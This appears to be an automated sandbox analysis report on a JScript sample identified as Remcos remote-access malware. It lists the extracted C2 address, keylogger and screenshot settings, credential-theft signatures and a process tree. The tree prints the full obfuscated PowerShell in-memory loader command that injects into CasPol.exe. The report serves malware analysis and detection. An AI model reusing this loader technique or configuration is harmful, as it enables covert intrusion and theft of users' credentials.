Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/10/2026, 17:39

General

  • Target
    wetrongiven.js
  • Size 470B
  • Sample261007-v8detadv9k
  • SHA256 ff257cad1dede25a8cc7f32c6f647644caec77f9be9bb4fbc512bfcfad11b676
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 6.0.0 Pro

Botnet
  • RemoteHost

C2
  • 103.83.86.40:14642

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-6TAD5B

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 4 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 TTPs 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\wetrongiven.js
    1⤵
    • Badlisted process makes network request
    • Reads the TCP/IP host and domain name from the registry
    PID:3160
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$unsettled=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7;$duckpins=[Convert]::FromBase64String($unsettled);[AppDomain]::CurrentDomain.Load($duckpins)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('mFQQDgSEJ91xhgd2R6lVEHmyXax8Th6fdfMWjjYv/lywOe6E/F8SgfEuTTnIAkoUR13ZBfwGfVL3L0YBed5gRA==','','kewk9KKkW4QFZ3qDuFDvX48BeHw/Wc/zmhVtr+pcOJNo0OWlz9M9014WPsj7oOOq','4VjpzISyhJvi9GeqKaa1siyAOCGexdeM1YK24nY89cc=','/W3r3DZtIrGdIoF4lm2MGNJi5ZQ93Df6QbWCMZu1D4Q=','','n2tfUcafbWe2mQWRbeXkXU9OEx7BQWGGCW9HRYcKjW4=','','3Fri8dJ/E+amhyNP6mr2dxTc+oeKz0Ke0dZMJmxLqk8=','kwNz2YR83MsLXaaPXO5snKwspNdYwCOaETKgzKPbj26yLPnP2Btzg1RbnzrQfTUo','YIsPdCwTg6Z//NTOMGZERxtVv/rxpLuJQHkUYFX/DgI=','s8buxGJ9eGplFupC6YuMfGgXu0/3ZssPe1nIzEUVrHM=','B//YpHT+zBQPtiCE/WGklUKSqRstjlJLwl5mueZJKPA=','','RmirYidrNApJ4PmvOEbB59h3kxRPIIY0pB4BSb1TAs8=','BcFnVvi3CD4ek11KqhLgY59lCT3vcl3MROgSOnep9CY=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2300
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:3796
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\cttahppkabvvjikohtuigeqbqatmfceoo"
        3⤵
          PID:2916
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\cttahppkabvvjikohtuigeqbqatmfceoo"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:4460
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\mwyli"
          3⤵
          • Accesses Microsoft Outlook accounts
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • outlook_office_path
          PID:1676
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\xqeebakfc"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5212

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_wtpooaw2.juf.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wtpooaw2.juf.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          cttahppkabvvjikohtuigeqbqatmfceoo

          • Path C:\Users\Admin\AppData\Local\Temp\cttahppkabvvjikohtuigeqbqatmfceoo
          • Size 4KB
          • SHA256 d81bbacd7dbee43b0a5caf3cffd859c1eaf2dcfee8303d8ac6b37aecae5bf6fd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1676-25-0x0000000000400000-0x0000000000462000-memory.dmp

          memory/1676-27-0x0000000000400000-0x0000000000462000-memory.dmp

          memory/1676-29-0x0000000000400000-0x0000000000462000-memory.dmp

          memory/2300-1-0x000002C42ED70000-0x000002C42ED80000-memory.dmp

          memory/2300-9-0x000002C42ECD0000-0x000002C42ECF2000-memory.dmp

          memory/2300-10-0x000002C42ED00000-0x000002C42ED2A000-memory.dmp

          memory/2300-0-0x000002C42ED70000-0x000002C42ED80000-memory.dmp

          memory/3796-43-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-44-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-19-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-20-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-21-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-22-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-23-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-53-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-17-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-16-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-52-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-51-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-50-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-49-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-15-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-48-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-14-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-37-0x0000000010000000-0x0000000010019000-memory.dmp

          memory/3796-41-0x0000000010000000-0x0000000010019000-memory.dmp

          memory/3796-40-0x0000000010000000-0x0000000010019000-memory.dmp

          memory/3796-42-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-11-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-18-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-45-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-46-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/3796-47-0x0000000000400000-0x0000000000480000-memory.dmp

          memory/4460-26-0x0000000000400000-0x0000000000478000-memory.dmp

          memory/4460-28-0x0000000000400000-0x0000000000478000-memory.dmp

          memory/4460-24-0x0000000000400000-0x0000000000478000-memory.dmp

          memory/5212-30-0x0000000000400000-0x0000000000424000-memory.dmp

          memory/5212-31-0x0000000000400000-0x0000000000424000-memory.dmp

          memory/5212-32-0x0000000000400000-0x0000000000424000-memory.dmp